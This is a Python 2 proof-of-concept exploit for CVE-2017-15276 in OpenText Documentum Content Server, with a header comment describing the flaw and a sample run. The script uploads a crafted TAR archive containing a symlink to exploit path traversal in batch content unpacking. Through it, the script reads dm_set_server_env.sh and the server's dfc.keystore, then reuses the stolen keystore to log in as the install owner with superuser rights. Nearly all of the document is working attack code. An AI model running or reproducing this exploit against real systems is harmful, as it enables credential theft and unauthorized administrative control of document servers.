#!/usr/bin/env python # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) # contains following design gap, which allows authenticated user to gain privileges # of superuser: # # Content Server allows to upload content using batches (TAR archives), when unpacking # TAR archives Content Server fails to verify contents of TAR archive which # causes path traversal vulnerability via symlinks, because some files on Content Server # filesystem are security-sensitive the security flaw described above leads to # privilege escalation # # The PoC below demonstrates this vulnerability: # # MacBook-Pro:~ $ python CVE-2017-15276.py # usage: # OTDocumentumTarVulnerability.py host port user password # MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry # Trying to connect to docu72dev01:10001 as dm_bof_registry ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle # Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh # Creating malicious dmr_content object # Trying to find any object with content... # Downloading /u01/documentum/cs/shared/config/dfc.keystore # Creating malicious dmr_content object # Trying to find any object with content... # Trying to connect to docu72dev01:10001 as dmadmin ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle # P0wned! import io import socket import sys import tarfile from dctmpy import NULL_ID from dctmpy.docbaseclient import DocbaseClient from dctmpy.identity import Identity from dctmpy.obj.typedobject import TypedObject CIPHERS = "ALL:aNULL:!eNULL" def usage(): print "usage:\n%s host port user password" % sys.argv[0] def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) admin_console = session.get_by_qualification( "dm_method where object_name='dm_JMSAdminConsole'") env_script = admin_console['method_verb'] env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh') keystore_path = None script = str(download(session, env_script, bytearray())) if not script: print "Unable to download dm_set_server_env.sh" exit(1) for l in script.splitlines(): if not l.startswith("DOCUMENTUM_SHARED"): continue keystore_path = l.split('=')[1] break if not keystore_path: print "Unable to determine DOCUMENTUM_SHARED" exit(1) keystore_path += "/config/dfc.keystore" keystore = str(download(session, keystore_path, bytearray())) if not keystore: print "Unable to download dfc.keystore" exit(1) (session, docbase) = create_session( sys.argv[1], sys.argv[2], session.serverconfig['r_install_owner'], "", identity=Identity(trusted=True, keystore=keystore)) if is_super_user(session): print "P0wned!" def download(session, path, buf): print "Downloading %s" % path store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") print "Creating malicious dmr_content object" session.apply(None, NULL_ID, "BEGIN_TRANS") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) (bytes, length) = create_tar("test", path) b = bytearray() b.extend(bytes.read()) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] content_id = session.next_id(0x06) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_int("page", 0) content.set_string("page_modifier", "dm_batch") content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) content.set_bool("BATCH_FLAG", True) content.set_bool("IS_ADDRENDITION", True) content.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, content): print "Failed to create content" end_tran(session, False) exit(1) content = session.get_by_qualification( "dmr_content WHERE any (parent_id='%s' " "AND page_modifier='%s')" % (object_id, "vuln")) handle = session.make_puller( NULL_ID, store.object_id(), content['r_object_id'], format.object_id(), data_ticket ) if handle == 0: end_tran(session, False) raise RuntimeError("Unable make puller") for chunk in session.download(handle): buf.extend(chunk) end_tran(session, False) return buf def create_tar(linkname, linkpath): bytes = io.BytesIO() tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT) add_link(tar, linkname, linkpath) text = io.BytesIO() text.write("file_name='%s'\n" % linkname) text.write("page_modifier='vuln'\n") text.write("parameters=''\n") tarinfo = tarfile.TarInfo("property.txt") tarinfo.size = text.tell() text.seek(0) tar.addfile(tarinfo, text) tar.close() length = bytes.tell() bytes.seek(0) return (bytes, length) def add_link(tar, linkname, linkpath): tarinfo = tarfile.TarInfo(linkname) tarinfo.type = tarfile.SYMTYPE tarinfo.linkpath = linkpath tarinfo.name = linkname tar.addfile(tarinfo=tarinfo) def create_session(host, port, user, pwd, identity=None): print "Trying to connect to %s:%s as %s ..." % \ (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig['object_name'] version = session.serverconfig['r_server_version'] print "Connected to %s:%s, docbase: %s, version: %s" % \ (host, port, docbase, version) return (session, docbase) def is_super_user(session): user = session.get_by_qualification("dm_user WHERE user_name=USER") if user['user_privileges'] == 16: return True group = session.get_by_qualification( "dm_group where group_name='dm_superusers' " "AND any i_all_users_names=USER") if group is not None: return True return False def end_tran(session, commit=False): obj = TypedObject(session=session) obj.set_bool("COMMIT", commit) session.apply(None, NULL_ID, "END_TRANS", obj) if __name__ == '__main__': main()